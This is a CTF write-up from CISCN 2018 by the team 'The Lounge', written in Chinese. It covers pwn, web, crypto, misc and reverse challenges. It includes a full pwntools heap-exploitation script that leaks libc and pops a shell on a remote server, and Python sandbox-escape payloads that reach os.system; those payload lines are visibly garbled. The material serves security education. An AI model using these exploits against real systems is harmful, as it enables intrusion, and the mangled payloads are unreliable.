CISCN2018 Writeup


The Lounge戰隊 CISCN2018 Writeup

Pwn-Supermarket


from pwn import *

def add(name,price,size,des):
p.sendlineafter(">> ","1")
p.sendlineafter("name:",name)
p.sendlineafter("price:",str(price))
p.sendlineafter("descrip_size:",str(size))
p.sendlineafter("description:",des)

def listall():
p.sendlineafter(">> ","3")

def delete(name):
p.sendlineafter(">> ","2")
p.sendlineafter("name:",name)

def change_price(name,price):
p.sendlineafter(">> ","4")
p.sendafter("name:",name)
p.sendlineafter("in:",str(price))

def change_des(name,size,des):
p.sendlineafter(">> ","5")
p.sendlineafter("name:",name)
p.sendlineafter("descrip_size:",str(size))
p.sendlineafter("description:",des)

'''
atoi 0xf7643050 0xf75e4050
puts 0xf75f4140 0xf7603140
free 0xf765d750 0xf75af750
'''

local=0
if local:
p=process('./task_supermarket')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
atoi_offset=libc.symbols['atoi']
sys_offset=libc.symbols['system']
else:
p=remote('117.78.27.192',32285)
atoi_offset=0x2d050
sys_offset=0x3a940

add('aaaa',100,0x50,'A'*0x50)
add('1111',100,0x50,'A'*0x50)
add('b'*12+'\x41',100,0x38,'B'*0x38)
add('cccc',100,0x60,'C'*0x60)
add('dddd',100,0x20,'D'*0x20)
delete('b'*12+'\x41')
change_des('cccc',0x20,'M'*0x24+p32(0x41))

add('eeee',100,0x38,'EEEE')
add('ffff',100,0x38,p32(101)+p32(0x38)+p32(0x804b048)+p32(0x41))
listall()
p.recvuntil("101, des.")

data=p.recv(4)
print data
atoi_addr=u32(data.ljust(4,'\x00'))
print hex(atoi_addr)

libc_base=atoi_addr-atoi_offset
system=libc_base+sys_offset
print "system",hex(system)

change_des('eeee',0x38,p64(system))

p.sendlineafter(">> ","/bin/sh\x00")
p.interactive()

Web-EasyWeb

無力吐槽的題目,空密碼。

Crypto-Flag_in_your_hand

基本邏輯很簡單,看showFlag函數。

判斷ic狀態來決定是否是正確Token。

文件唯一有改動ic的地方就是這了,看一下邏輯。就是a數組所有值-3轉成ASCII字符就是正確Token。

Misc-尋找入侵者

用mac地址爆破出honey密碼

然后使用airdecap-ng提取出另一個數據包,在包里面發現出題人博客以及key.rar的下載地址,下載后解壓得到key.pcap,發現可疑字符串,即為flag

Misc-Memory_Forensic

很榮幸是三血。其實能更快。首先用IDA看一下邏輯。發現已經出現了”CISCN{“ “}” 和幾個疑似flag的字符串,然后他會用snprintf去寫內存,那么真flag應該會出現在內存中。
我是用的Vmware14配Mac OS High Siera,這樣能拿到完整內存Dump。首先關閉System Integrity Protection,然后kextutil agent.kext加載,然后它會黑屏,在黑屏一瞬間切出去,暫停虛擬機。拿到整個內存Dump。然后用16進制編輯器搜索“CISCN{”就行。

Misc-Picture

首先給了個假的PNG,其實是JPG。FFD9結尾處有數據,提出來,file一下發現是zlib數據,然后直接binwalk解壓,給了個Base64字符串,解密后是KP什么的,還有Python code,當時想偏了,以為是PYC文件,修了半天發現格式全錯。后來把頭部改成PK,是個正常的ZIP文件。然后要密碼。

注意右邊注釋,Python控制台報錯?試一下。

沒錯,integer division or modulo by zero這是密碼。成功解壓后是個UUEncode,解密就行了。

Misc-驗證碼

沒啥好說的,簽到題,進去就有flag。

Misc-RUN

Python沙箱逃逸,試了很多Payload。所有的popen都會報unkonw error。所有的二階dict也會報錯,后來想到找一個globals
x = [x for x in [].class.base.subclasses() if x.name == ‘ca’+’tch_warnings’][0].init
x.getattribute(“func_global”+”s”)[‘linecache’].dict[‘o’+’s’].dict‘sy’+’stem’
x.getattribute(“func_global”+”s”)[‘linecache’].dict[‘o’+’s’].dict‘sy’+’stem’
x.getattribute(“func_global”+”s”)[‘linecache’].dict[‘o’+’s’].dict‘sy’+’stem’

Reverse-RE

程序先檢測flag格式頭,然后根據“_”將內容分為三個部分,分別加密之后與字符串比較,前兩個部分的內容很容易得到,解開md5值為tofu和gana,第三部分flag的MD5無法解開,卡了兩三個小時,看到第三個函數與其他兩個的區別是后面將大量數據寫到一個叫“flag”的文件中,但是需要異或的兩個key值,分別和數據奇數項和偶數項異或,因為看到第一個數據和第三個數據相同,猜測文件是jepg格式,果然解出來是張圖片,連在一起即為完整flag.

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM